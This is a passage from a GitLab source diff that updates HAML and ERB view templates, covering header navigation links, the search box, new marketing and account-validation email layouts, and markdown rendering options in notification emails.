- = link_to 'https://next.gitlab.com', class: 'canary-badge bg-transparent', data: { qa_selector: 'canary_badge_link' }, target: :_blank, rel: :_noopener do
+ = link_to Gitlab::Saas.canary_toggle_com_url, class: 'canary-badge bg-transparent', data: { qa_selector: 'canary_badge_link' }, target: :_blank, rel: 'noopener noreferrer' do
%span.gl-badge.gl-bg-green-500.gl-text-white.gl-rounded-pill.gl-font-weight-bold.gl-py-1
= _('Next')
@@ -36,7 +36,9 @@
'issues-path' => issues_dashboard_path,
'mr-path' => merge_requests_dashboard_path,
'autocomplete-path' => search_autocomplete_path } }
- %input{ type: "text", placeholder: _('Search or jump to...'), class: 'form-control gl-form-input' }
+ .gl-search-box-by-type
+ = sprite_icon('search', css_class: 'gl-search-box-by-type-search-icon gl-icon')
+ %input{ type: "text", placeholder: _('Search or jump to...'), class: 'form-control gl-form-input gl-search-box-by-type-input', id: 'search', autocomplete: 'off' }
- else
= render 'layouts/search'
%li.nav-item{ class: 'd-none d-sm-inline-block d-lg-none' }
@@ -44,7 +46,7 @@
= sprite_icon(search_menu_item.fetch(:icon))
- if header_link?(:issues)
= nav_link(path: 'dashboard#issues', html_options: { class: "user-counter" }) do
- = link_to assigned_issues_dashboard_path, title: _('Issues'), class: 'dashboard-shortcuts-issues', aria: { label: _('Issues') },
+ = link_to assigned_issues_dashboard_path, title: _('Issues'), class: 'dashboard-shortcuts-issues js-prefetch-document', aria: { label: _('Issues') },
data: { qa_selector: 'issues_shortcut_button', toggle: 'tooltip', placement: 'bottom',
track_label: 'main_navigation',
track_action: 'click_issues_link',
@@ -73,18 +75,18 @@
%li.dropdown-header
= _('Merge requests')
%li
- = link_to assigned_mrs_dashboard_path, class: 'gl-display-flex! gl-align-items-center' do
+ = link_to assigned_mrs_dashboard_path, class: 'gl-display-flex! gl-align-items-center js-prefetch-document' do
= _('Assigned to you')
%span.badge.gl-badge.badge-pill.badge-muted.merge-request-badge.gl-ml-auto.js-assigned-mr-count{ class: "" }
= user_merge_requests_counts[:assigned]
%li
- = link_to reviewer_mrs_dashboard_path, class: 'gl-display-flex! gl-align-items-center' do
+ = link_to reviewer_mrs_dashboard_path, class: 'gl-display-flex! gl-align-items-center js-prefetch-document' do
= _('Review requests for you')
%span.badge.gl-badge.badge-pill.badge-muted.merge-request-badge.gl-ml-auto.js-reviewer-mr-count{ class: "" }
= user_merge_requests_counts[:review_requested]
- if header_link?(:todos)
= nav_link(controller: 'dashboard/todos', html_options: { class: "user-counter" }) do
- = link_to dashboard_todos_path, title: _('To-Do List'), aria: { label: _('To-Do List') }, class: 'shortcuts-todos',
+ = link_to dashboard_todos_path, title: _('To-Do List'), aria: { label: _('To-Do List') }, class: 'shortcuts-todos js-prefetch-document',
data: { qa_selector: 'todos_shortcut_button', toggle: 'tooltip', placement: 'bottom',
track_label: 'main_navigation',
track_action: 'click_to_do_link',
@@ -94,7 +96,7 @@
%span.badge.badge-pill.todos-count.js-todos-count{ class: ('hidden' if todos_pending_count == 0) }
= todos_count_format(todos_pending_count)
%li.nav-item.header-help.dropdown.d-none.d-md-block{ **tracking_attrs('main_navigation', 'click_question_mark_link', 'navigation') }
- = link_to help_path, class: 'header-help-dropdown-toggle', data: { toggle: "dropdown" } do
+ = link_to help_path, class: 'header-help-dropdown-toggle gl-relative', data: { toggle: "dropdown" } do
%span.gl-sr-only
= s_('Nav|Help')
= sprite_icon('question-o')
diff --git a/app/views/layouts/header/_help_dropdown.html.haml b/app/views/layouts/header/_help_dropdown.html.haml
index a03cd4cd68f..e2c7781da54 100644
--- a/app/views/layouts/header/_help_dropdown.html.haml
+++ b/app/views/layouts/header/_help_dropdown.html.haml
@@ -20,4 +20,4 @@
= render 'shared/user_dropdown_instance_review'
- if Gitlab.com_but_not_canary?
%li
- = link_to _("Switch to GitLab Next"), "https://next.gitlab.com/"
+ = link_to _("Switch to GitLab Next"), Gitlab::Saas.canary_toggle_com_url
diff --git a/app/views/layouts/header/_registration_enabled_callout.html.haml b/app/views/layouts/header/_registration_enabled_callout.html.haml
index 25a7f7ba9d7..90f3ac61614 100644
--- a/app/views/layouts/header/_registration_enabled_callout.html.haml
+++ b/app/views/layouts/header/_registration_enabled_callout.html.haml
@@ -4,7 +4,7 @@
title: _('Open registration is enabled on your instance.'),
variant: :warning,
alert_class: 'js-registration-enabled-callout',
- alert_data: { feature_id: UserCalloutsHelper::REGISTRATION_ENABLED_CALLOUT, dismiss_endpoint: user_callouts_path },
+ alert_data: { feature_id: Users::CalloutsHelper::REGISTRATION_ENABLED_CALLOUT, dismiss_endpoint: callouts_path },
close_button_data: { testid: 'close-registration-enabled-callout' } do
.gl-alert-body
= html_escape(_('%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance.')) % { anchorOpen: "<a href=\"#{help_page_path('user/admin_area/settings/sign_up_restrictions')}\" class=\"gl-link\">".html_safe, anchorClose: '</a>'.html_safe }
diff --git a/app/views/layouts/in_product_marketing_mailer.html.haml b/app/views/layouts/in_product_marketing_mailer.html.haml
new file mode 100644
index 00000000000..679a2d4b8b3
--- /dev/null
+++ b/app/views/layouts/in_product_marketing_mailer.html.haml
@@ -0,0 +1,194 @@
+!!!
+%html{ lang: "en" }
+ %head
+ %meta{ content: "text/html; charset=utf-8", "http-equiv" => "Content-Type" }
+ %meta{ content: "width=device-width, initial-scale=1", name: "viewport" }
+ %link{ href: "https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,600", rel: "stylesheet", type: "text/css", data: { premailer: 'ignore' } }
+ %title= message.subject
+ :css
+ /* CLIENT-SPECIFIC STYLES */
+ body,
+ table,
+ td,
+ a {
+ -webkit-text-size-adjust: 100%;
+ -ms-text-size-adjust: 100%;
+ }
+
+ table,
+ td {
+ mso-table-lspace: 0pt;
+ mso-table-rspace: 0pt;
+ }
+
+ img {
+ -ms-interpolation-mode: bicubic;
+ }
+
+ /* RESET STYLES */
+ img {
+ border: 0;
+ height: auto;
+ line-height: 100%;
+ outline: none;
+ text-decoration: none;
+ }
+
+ table {
+ border-collapse: collapse !important;
+ }
+
+ body {
+ height: 100% !important;
+ margin: 0 !important;
+ padding: 0 !important;
+ width: 100% !important;
+ background-color: #ffffff;
+ color: #424242;
+ }
+
+ a {
+ color: #6b4fbb;
+ text-decoration: underline;
+ }
+
+ .cta_link a {
+ font-size: 24px;
+ font-family: 'Source Sans Pro', helvetica, arial, sans-serif;
+ text-decoration: none;
+ display: inline-block;
+ }
+
+ .cta_link_primary a {
+ color: #ffffff;
+ border-radius: 5px;
+ background-color: #6e49cb;
+ border-top: 15px solid #6e49cb;
+ border-bottom: 15px solid #6e49cb;
+ border-right: 40px solid #6e49cb;
+ border-left: 40px solid #6e49cb;
+ }
+
+ .cta_link_secondary a {
+ color: #6e49cb;
+ padding: 25px 40px 15px;
+ }
+
+ .footernav {
+ display: inline !important;
+ }
+
+ .footernav a {
+ color: #6e49cb;
+ }
+
+ .address {
+ margin: 0;
+ font-size: 16px;
+ line-height: 26px;
+ }
+
+ :css
+ /* iOS BLUE LINKS */
+ a[x-apple-data-detectors] {
+ color: inherit !important;
+ text-decoration: none !important;
+ font-size: inherit !important;
+ font-family: inherit !important;
+ font-weight: inherit !important;
+ line-height: inherit !important;
+ }
+ /[if gte mso 9]
+ <xml>
+ <o:OfficeDocumentSettings>
+ <o:AllowPNG/>
+ <o:PixelsPerInch>96</o:PixelsPerInch>
+ </o:OfficeDocumentSettings>
+ </xml>
+ /[if (mso)|(mso 16)]
+ <style type="text/css">
+ body, table, td, a, span { font-family: Arial, Helvetica, sans-serif !important; }
+ </style>
+ :css
+ @media only screen and (max-width: 595px) {
+
+ .wrapper {
+ width: 100% !important;
+ margin: 0 auto !important;
+ padding: 0 !important;
+ }
+
+ p,
+ li {
+ font-size: 18px !important;
+ line-height: 26px !important;
+ }
+
+ .stack {
+ width: 100% !important;
+ }
+
+ .stack-mobile-padding {
+ width: 100% !important;
+ margin-top: 20px !important;
+ }
+
+ .callout {
+ padding-bottom: 20px !important;
+ }
+
+ .redbutton {
+ text-align: center;
+ }
+
+ .stack33 {
+ display: block !important;
+ width: 100% !important;
+ max-width: 100% !important;
+ direction: ltr !important;
+ text-align: center !important;
+ }
+ }
+
+ @media only screen and (max-width: 480px) {
+ u~div {
+ width: 100vw !important;
+ }
+
+ div>u~div {
+ width: 100% !important;
+ }
+ }
+ %body#body{ width: "100%" }
+ %table{ border: "0", cellpadding: "0", cellspacing: "0", role: "presentation", width: "100%" }
+ %tr
+ %td{ align: "center", style: "padding: 0px;" }
+ %table.wrapper{ border: "0", cellpadding: "0", cellspacing: "0", role: "presentation", width: "600" }
+ %tr
+ %td{ style: "padding: 0px;" }
+ #main-story.mktEditable{ mktoname: "main-story" }
+ %table{ border: "0", cellpadding: "0", cellspacing: "0", role: "presentation", width: "100%" }
+ %tr
+ %td{ align: "left", style: "padding: 0 20px;" }
+ = about_link('mailers/in_product_marketing/gitlab-logo-gray-rgb.png', 200)
+ %tr
+ %td{ "aria-hidden" => "true", height: "30", style: "font-size: 0; line-height: 0;" }
+
+ = yield
+
+ %tr{ style: "background-color: #ffffff;" }
+ %td{ align: "center", style: "padding:75px 20px 25px;" }
+ = about_link('gitlab_logo.png', 80)
+ %tr{ style: "background-color: #ffffff;" }
+ %td{ align: "center", style: "padding:0px ;" }
+ %tr{ style: "background-color: #ffffff;" }
+ %td{ align: "center", style: "padding:0px 10px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; " }
+ %span.footernav{ style: "color: #6e49cb; font-size: 16px; line-height: 26px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
+ = @message.footer_links.join('&nbsp;' * 3 + '|' + '&nbsp;' * 4).html_safe
+ %tr{ style: "background-color:#ffffff;" }
+ %td{ align: "center", style: "padding: 40px 30px 20px 30px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
+ .address= @message.address
+ %tr{ style: "background-color: #ffffff;" }
+ %td{ align: "left", style: "padding:20px 30px 20px 30px;" }
+ %span.footernav{ style: "color: #6e49cb; font-size: 14px; line-height: 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#424242;" }
+ = @message.unsubscribe.html_safe
diff --git a/app/views/notify/_note_email.html.haml b/app/views/notify/_note_email.html.haml
index 2cef6f97d48..ae9c8554e73 100644
--- a/app/views/notify/_note_email.html.haml
+++ b/app/views/notify/_note_email.html.haml
@@ -34,4 +34,4 @@
email: true }
%div{ style: note_style }
- = markdown(note.note, pipeline: :email, author: note.author)
+ = markdown(note.note, pipeline: :email, author: note.author, current_user: @recipient, issuable_reference_expansion_enabled: true)
diff --git a/app/views/notify/account_validation_email.html.haml b/app/views/notify/account_validation_email.html.haml
new file mode 100644
index 00000000000..02256443430
--- /dev/null
+++ b/app/views/notify/account_validation_email.html.haml
@@ -0,0 +1,16 @@
+%tr
+ %td{ bgcolor: "#ffffff", height: "auto", style: "max-width: 600px; width: 100%; text-align: center; height: 200px; padding: 25px 15px; mso-line-height-rule: exactly; min-height: 40px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;", valign: "middle", width: "100%" }
+ = inline_image_link(@message.logo_path, { width: '150', style: 'width: 150px;' })
+ %h1{ style: "font-size: 40px; line-height: 46x; color: #000000; padding: 20px 0 0 0; font-weight: normal;" }
+ = @message.title
+%tr
+ %td{ style: "padding: 10px 20px 30px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 18px; line-height: 24px;" }
+ %p{ style: "margin: 0 0 20px 0;" }
+ = @message.body_line1.html_safe
+ - @message.body_line2&.tap do |line|
+ %p{ style: "margin: 0 0 20px 0;" }
+ = line.html_safe
+%tr
+ %td{ align: "center", style: "padding: 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
+ .cta_link.cta_link_primary= @message.cta_link
+ .cta_link.cta_link_secondary= @message.cta2_link
diff --git a/app/views/notify/account_validation_email.text.erb b/app/views/notify/account_validation_email.text.erb
new file mode 100644
index 00000000000..c167eff9803
--- /dev/null
+++ b/app/views/notify/account_validation_email.text.erb
@@ -0,0 +1,15 @@
+<%= @message.title %>
+
+<%= @message.body_line1 %>
+
+<%= @message.body_line2 %>
+
+<%= @message.cta_link %>
+
+<%= @message.cta2_link %>
+
+<%= @message.footer_links %>
+
+<%= @message.address %>
+
+<%= @message.unsubscribe %>
diff --git a/app/views/notify/attention_requested_merge_request_email.html.haml b/app/views/notify/attention_requested_merge_request_email.html.haml
new file mode 100644
index 00000000000..af42f180ae7
--- /dev/null
+++ b/app/views/notify/attention_requested_merge_request_email.html.haml
@@ -0,0 +1,2 @@
+%p
+ #{sanitize_name(@updated_by.name)} requested your attention on #{merge_request_reference_link(@merge_request)}.
diff --git a/app/views/notify/attention_requested_merge_request_email.text.erb b/app/views/notify/attention_requested_merge_request_email.text.erb
new file mode 100644
index 00000000000..97b1d4a824b
--- /dev/null
+++ b/app/views/notify/attention_requested_merge_request_email.text.erb
@@ -0,0 +1 @@
+<%= sanitize_name(@updated_by.name) %> requested your attention on <%= merge_request_reference_link(@merge_request) %>.
diff --git a/app/views/notify/in_product_marketing_email.html.haml b/app/views/notify/in_product_marketing_email.html.haml
index a85fa7c519f..a88d581c5de 100644
--- a/app/views/notify/in_product_marketing_email.html.haml
+++ b/app/views/notify/in_product_marketing_email.html.haml
@@ -1,235 +1,51 @@
-!!!
-%html{ lang: "en" }
- %head
- %meta{ content: "text/html; charset=utf-8", "http-equiv" => "Content-Type" }
- %meta{ content: "width=device-width, initial-scale=1", name: "viewport" }
- %link{ href: "https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,600", rel: "stylesheet", type: "text/css", data: { premailer: 'ignore' } }
- %title= message.subject
- :css
- /* CLIENT-SPECIFIC STYLES */
- body,
- table,
- td,
- a {
- -webkit-text-size-adjust: 100%;
- -ms-text-size-adjust: 100%;
- }
-
- table,
- td {
- mso-table-lspace: 0pt;
- mso-table-rspace: 0pt;
- }
-
- img {
- -ms-interpolation-mode: bicubic;
- }
-
- /* RESET STYLES */
- img {
- border: 0;
- height: auto;
- line-height: 100%;
- outline: none;
- text-decoration: none;
- }
-
- table {
- border-collapse: collapse !important;
- }
-
- body {
- height: 100% !important;
- margin: 0 !important;
- padding: 0 !important;
- width: 100% !important;
- background-color: #ffffff;
- color: #424242;
- }
-
- a {
- color: #6b4fbb;
- text-decoration: underline;
- }
-
- .cta_link a {
- font-size: 24px;
- font-family: 'Source Sans Pro', helvetica, arial, sans-serif;
- color: #ffffff;
- text-decoration: none;
- border-radius: 5px;
- -webkit-border-radius: 5px;
- background-color: #6e49cb;
- border-top: 15px solid #6e49cb;
- border-bottom: 15px solid #6e49cb;
- border-right: 40px solid #6e49cb;
- border-left: 40px solid #6e49cb;
- display: inline-block;
- }
-
- .footernav {
- display: inline !important;
- }
-
- .footernav a {
- color: #6e49cb;
- }
-
- .address {
- margin: 0;
- font-size: 16px;
- line-height: 26px;
- }
-
- :css
- /* iOS BLUE LINKS */
- a[x-apple-data-detectors] {
- color: inherit !important;
- text-decoration: none !important;
- font-size: inherit !important;
- font-family: inherit !important;
- font-weight: inherit !important;
- line-height: inherit !important;
- }
- /[if gte mso 9]
- <xml>
- <o:OfficeDocumentSettings>
- <o:AllowPNG/>
- <o:PixelsPerInch>96</o:PixelsPerInch>
- </o:OfficeDocumentSettings>
- </xml>
- /[if (mso)|(mso 16)]
- <style type="text/css">
- body, table, td, a, span { font-family: Arial, Helvetica, sans-serif !important; }
- </style>
- :css
- @media only screen and (max-width: 595px) {
-
- .wrapper {
- width: 100% !important;
- margin: 0 auto !important;
- padding: 0 !important;
- }
-
- p,
- li {
- font-size: 18px !important;
- line-height: 26px !important;
- }
-
- .stack {
- width: 100% !important;
- }
-
- .stack-mobile-padding {
- width: 100% !important;
- margin-top: 20px !important;
- }
-
- .callout {
- padding-bottom: 20px !important;
- }
-
- .redbutton {
- text-align: center;
- }
-
- .stack33 {
- display: block !important;
- width: 100% !important;
- max-width: 100% !important;
- direction: ltr !important;
- text-align: center !important;
- }
- }
-
- @media only screen and (max-width: 480px) {
- u~div {
- width: 100vw !important;
- }
-
- div>u~div {
- width: 100% !important;
- }
- }
- %body#body{ width: "100%" }
- %table{ border: "0", cellpadding: "0", cellspacing: "0", role: "presentation", width: "100%" }
- %tr
- %td{ align: "center", style: "padding: 0px;" }
- %table.wrapper{ border: "0", cellpadding: "0", cellspacing: "0", role: "presentation", width: "600" }
- %tr
- %td{ style: "padding: 0px;" }
- #main-story.mktEditable{ mktoname: "main-story" }
- %table{ border: "0", cellpadding: "0", cellspacing: "0", role: "presentation", width: "100%" }
- %tr
- %td{ align: "left", style: "padding: 0 20px;" }
- = about_link('mailers/in_product_marketing/gitlab-logo-gray-rgb.png', 200)
- %tr
- %td{ "aria-hidden" => "true", height: "30", style: "font-size: 0; line-height: 0;" }
- - if @message.series?
- %tr{ style: "background-color: #ffffff;" }
- %td{ style: "color: #424242; padding: 10px 30px; text-align: center; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;font-size: 16px; line-height: 22px; border: 1px solid #dddddd" }
- %p
- = @message.progress.html_safe
- %tr
- %td{ bgcolor: "#ffffff", height: "auto", style: "max-width: 600px; width: 100%; text-align: center; height: 200px; padding: 25px 15px; mso-line-height-rule: exactly; min-height: 40px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;", valign: "middle", width: "100%" }
- = inline_image_link(@message.logo_path, { width: '150', style: 'width: 150px;' })
- %h1{ style: "font-size: 40px; line-height: 46x; color: #000000; padding: 20px 0 0 0; font-weight: normal;" }
- = @message.title
- %h2{ style: "font-size: 28px; line-height: 34px; color: #000000; padding: 0; font-weight: 400;" }
- = @message.subtitle
- %tr
- %td{ style: "padding: 10px 20px 30px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 18px; line-height: 24px;" }
- %p{ style: "margin: 0 0 20px 0;" }
- = @message.body_line1.html_safe
- - @message.body_line2&.tap do |line|
- %p{ style: "margin: 0 0 20px 0;" }
- = line.html_safe
- - if @message.cta_text
- %tr
- %td{ align: "center", style: "padding: 10px 20px 80px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
- .cta_link= @message.cta_link
- - else
- %tr
- %td{ style: "padding: 10px 20px 10px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 16px; line-height: 20px;" }
- %table{ border: "0", cellpadding: "0", cellspacing: "0", width: "100%", style: "width: 100%; min-width: 100%;" }
- %tr
- %td{ width: "50%", style: "width: 50%; min-width: 50%; color: #000000; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px; line-height: 100%; padding-bottom: 16px; text-align: left;", align: "left" }
- = @message.feedback_ratings(1)
- %td{ width: "50%", style: "width: 50%; min-width: 50%; color: #000000; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px; line-height: 100%; padding-bottom: 16px; text-align: right;", align: "right" }
- = @message.feedback_ratings(5)
- %tr
- %td{ align: "center", style: "padding: 10px 1px 30px 1px;" }
- %table{ align: "center", cellpadding: "5", cellspacing: "0", width: "100%", style: "width: 100%; min-width: 100%; border: 1px solid #dae0ea; border-radius: 0; min-width: 100%; text-align: center; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px;" }
- %tr
- - (1..5).each do |rating|
- %td{ height: "54", style: "border-left: 1px solid #dae0ea; padding-bottom: 0; width: 9% !important;", width: "9%" }
- %a{ href: @message.feedback_link(rating), style: "color: #424242; display: block; text-decoration: none;" }
- %span{ height: "54", style: "display: block; font-size: 18px; height: 22px; line-height: 22px; padding: 16px 0; width: 100%; text-decoration: none;" }
- = rating
- %tr
- %td{ style: "padding: 10px 20px 30px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 18px; line-height: 24px;" }
- %p{ style: "margin: 0 0 50px 0;" }
- = @message.feedback_thanks
- - if @message.invite_members?
- %tr
- %td{ align: "center", style: "padding: 0 20px 80px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
- = @message.invite_text
- %br
- = @message.invite_link
- %tr{ style: "background-color: #ffffff;" }
- %td{ align: "center", style: "padding:75px 20px 25px;" }
- = about_link('gitlab_logo.png', 80)
- %tr{ style: "background-color: #ffffff;" }
- %td{ align: "center", style: "padding:0px ;" }
- %tr{ style: "background-color: #ffffff;" }
- %td{ align: "center", style: "padding:0px 10px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; " }
- %span.footernav{ style: "color: #6e49cb; font-size: 16px; line-height: 26px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
- = @message.footer_links.join('&nbsp;' * 3 + '|' + '&nbsp;' * 4).html_safe
- %tr{ style: "background-color:#ffffff;" }
- %td{ align: "center", style: "padding: 40px 30px 20px 30px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
- .address= @message.address
- %tr{ style: "background-color: #ffffff;" }
- %td{ align: "left", style: "padding:20px 30px 20px 30px;" }
- %span.footernav{ style: "color: #6e49cb; font-size: 14px; line-height: 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#424242;" }
- = @message.unsubscribe.html_safe
+- if @message.series?
+ %tr{ style: "background-color: #ffffff;" }
+ %td{ style: "color: #424242; padding: 10px 30px; text-align: center; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;font-size: 16px; line-height: 22px; border: 1px solid #dddddd" }
+ %p
+ = @message.progress.html_safe
+%tr
+ %td{ bgcolor: "#ffffff", height: "auto", style: "max-width: 600px; width: 100%; text-align: center; height: 200px; padding: 25px 15px; mso-line-height-rule: exactly; min-height: 40px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;", valign: "middle", width: "100%" }
+ = inline_image_link(@message.logo_path, { width: '150', style: 'width: 150px;' })
+ %h1{ style: "font-size: 40px; line-height: 46x; color: #000000; padding: 20px 0 0 0; font-weight: normal;" }
+ = @message.title
+ %h2{ style: "font-size: 28px; line-height: 34px; color: #000000; padding: 0; font-weight: 400;" }
+ = @message.subtitle
+%tr
+ %td{ style: "padding: 10px 20px 30px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 18px; line-height: 24px;" }
+ %p{ style: "margin: 0 0 20px 0;" }
+ = @message.body_line1.html_safe
+ - @message.body_line2&.tap do |line|
+ %p{ style: "margin: 0 0 20px 0;" }
+ = line.html_safe
+- if @message.cta_text
+ %tr
+ %td{ align: "center", style: "padding: 10px 20px 80px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
+ .cta_link.cta_link_primary= @message.cta_link
+- else
+ %tr
+ %td{ style: "padding: 10px 20px 10px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 16px; line-height: 20px;" }
+ %table{ border: "0", cellpadding: "0", cellspacing: "0", width: "100%", style: "width: 100%; min-width: 100%;" }
+ %tr
+ %td{ width: "50%", style: "width: 50%; min-width: 50%; color: #000000; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px; line-height: 100%; padding-bottom: 16px; text-align: left;", align: "left" }
+ = @message.feedback_ratings(1)
+ %td{ width: "50%", style: "width: 50%; min-width: 50%; color: #000000; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px; line-height: 100%; padding-bottom: 16px; text-align: right;", align: "right" }
+ = @message.feedback_ratings(5)
+ %tr
+ %td{ align: "center", style: "padding: 10px 1px 30px 1px;" }
+ %table{ align: "center", cellpadding: "5", cellspacing: "0", width: "100%", style: "width: 100%; min-width: 100%; border: 1px solid #dae0ea; border-radius: 0; min-width: 100%; text-align: center; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px;" }
+ %tr
+ - (1..5).each do |rating|
+ %td{ height: "54", style: "border-left: 1px solid #dae0ea; padding-bottom: 0; width: 9% !important;", width: "9%" }
+ %a{ href: @message.feedback_link(rating), style: "color: #424242; display: block; text-decoration: none;" }
+ %span{ height: "54", style: "display: block; font-size: 18px; height: 22px; line-height: 22px; padding: 16px 0; width: 100%; text-decoration: none;" }
+ = rating
+ %tr
+ %td{ style: "padding: 10px 20px 30px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 18px; line-height: 24px;" }
+ %p{ style: "margin: 0 0 50px 0;" }
+ = @message.feedback_thanks
+- if @message.invite_members?
+ %tr
+ %td{ align: "center", style: "padding: 0 20px 80px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
+ = @message.invite_text
+ %br
+ = @message.invite_link
diff --git a/app/views/notify/issue_due_email.html.haml b/app/views/notify/issue_due_email.html.haml
index adb9da05694..c9cd9c32b54 100644
--- a/app/views/notify/issue_due_email.html.haml
+++ b/app/views/notify/issue_due_email.html.haml
@@ -9,4 +9,4 @@
- if @issue.description
%div
- = markdown(@issue.description, pipeline: :email, author: @issue.author)
+ = markdown(@issue.description, pipeline: :email, author: @issue.author, current_user: @recipient, issuable_reference_expansion_enabled: true)
diff --git a/app/views/notify/member_invited_email.html.haml b/app/views/notify/member_invited_email.html.haml
index 1d1f696e1b2..6d5207510da 100644
--- a/app/views/notify/member_invited_email.html.haml
+++ b/app/views/notify/member_invited_email.html.haml
@@ -6,17 +6,15 @@
role: member.human_access.downcase }
- join_text = s_('InviteEmail|Join now')
- inviter_name = member.created_by.name if member.created_by
+- join_url = invite_url(@token, invite_type: Emails::Members::INITIAL_INVITE)
-- experiment(:invite_email_preview_text, actor: member) do |experiment_instance|
- - experiment_instance.use {}
- - experiment_instance.candidate do
- = content_for :preview_text do
- %div{ style: "display:none;font-size:1px;line-height:1px;max-height:0px;max-width:0px;opacity:0;overflow:hidden;" }
- - if member.created_by
- = s_('InviteEmail|Join your team on GitLab! %{inviter} invited you to %{project_or_group_name}') % { inviter: inviter_name, project_or_group_name: placeholders[:project_or_group_name] }
- - else
- = s_('InviteEmail|Join your team on GitLab! You are invited to %{project_or_group_name}') % { project_or_group_name: placeholders[:project_or_group_name] }
- = gmail_goto_action(join_text, invited_join_url(@token, member))
+= content_for :preview_text do
+ %div{ style: "display:none;font-size:1px;line-height:1px;max-height:0px;max-width:0px;opacity:0;overflow:hidden;" }
+ - if member.created_by
+ = s_('InviteEmail|Join your team on GitLab! %{inviter} invited you to %{project_or_group_name}') % { inviter: inviter_name, project_or_group_name: placeholders[:project_or_group_name] }
+ - else
+ = s_('InviteEmail|Join your team on GitLab! You are invited to %{project_or_group_name}') % { project_or_group_name: placeholders[:project_or_group_name] }
+ = gmail_goto_action(join_text, join_url)
%tr
%td.text-content{ colspan: 2 }
@@ -32,7 +30,7 @@
- else
= html_escape(s_("InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}")) % placeholders
%p.invite-actions
- = link_to join_text, invited_join_url(@token, member), class: 'invite-btn-join'
+ = link_to join_text, join_url, class: 'invite-btn-join'
%tr.border-top
%td.text-content.mailer-align-left.half-width
%h4
diff --git a/app/views/notify/new_issue_email.html.haml b/app/views/notify/new_issue_email.html.haml
index 3219ee34736..439604a950a 100644
--- a/app/views/notify/new_issue_email.html.haml
+++ b/app/views/notify/new_issue_email.html.haml
@@ -8,4 +8,4 @@
- if @issue.description
%div
- = markdown(@issue.description, pipeline: :email, author: @issue.author)
+ = markdown(@issue.description, pipeline: :email, author: @issue.author, current_user: @recipient, issuable_reference_expansion_enabled: true)
diff --git a/app/views/notify/new_merge_request_email.html.haml b/app/views/notify/new_merge_request_email.html.haml
index c8a0a6591a6..54fb6573c26 100644
--- a/app/views/notify/new_merge_request_email.html.haml
+++ b/app/views/notify/new_merge_request_email.html.haml
@@ -16,4 +16,4 @@
- if @merge_request.description
%div
- = markdown(@merge_request.description, pipeline: :email, author: @merge_request.author)
+ = markdown(@merge_request.description, pipeline: :email, author: @merge_request.author, current_user: @recipient, issuable_reference_expansion_enabled: true)
diff --git a/app/views/notify/new_release_email.html.haml b/app/views/notify/new_release_email.html.haml
index 9cef4cd85cd..1cd3a2340c6 100644
--- a/app/views/notify/new_release_email.html.haml
+++ b/app/views/notify/new_release_email.html.haml
@@ -15,4 +15,4 @@
%p
%h4= _("Release notes:")
- = markdown(@release.description, pipeline: :email, author: @release.author)
+ = markdown(@release.description, pipeline: :email, author: @release.author, current_user: @recipient)
diff --git a/app/views/notify/service_desk_new_note_email.html.haml b/app/views/notify/service_desk_new_note_email.html.haml
index 824b4ab712e..186bdf133e3 100644
--- a/app/views/notify/service_desk_new_note_email.html.haml
+++ b/app/views/notify/service_desk_new_note_email.html.haml
@@ -2,4 +2,4 @@
%div
= _("%{author_link} wrote:").html_safe % { author_link: link_to(@note.author_name, user_url(@note.author)) }
%div
- = markdown(@note.note, pipeline: :email, author: @note.author)
+ = markdown(@note.note, pipeline: :email, author: @note.author, issuable_reference_expansion_enabled: true)
diff --git a/app/views/profiles/accounts/_providers.html.haml b/app/views/profiles/accounts/_providers.html.haml
index 5c0044ed825..73a437a0702 100644
--- a/app/views/profiles/accounts/_providers.html.haml
+++ b/app/views/profiles/accounts/_providers.html.haml
@@ -6,11 +6,13 @@
- providers.each do |provider|
- unlink_allowed = unlink_provider_allowed?(provider)
- link_allowed = link_provider_allowed?(provider)
+ - has_icon = provider_has_icon?(provider)
- if unlink_allowed || link_allowed
- if auth_active?(provider)
- if unlink_allowed
= link_to unlink_profile_account_path(provider: provider), method: :delete, class: button_class do
- .social-provider-btn-image.gl-button-icon= provider_image_tag(provider)
+ - if has_icon
+ .social-provider-btn-image.gl-button-icon= provider_image_tag(provider)
.gl-button-text
= s_('Profiles|Disconnect %{provider}') % { provider: label_for_provider(provider) }
- else
@@ -19,7 +21,8 @@
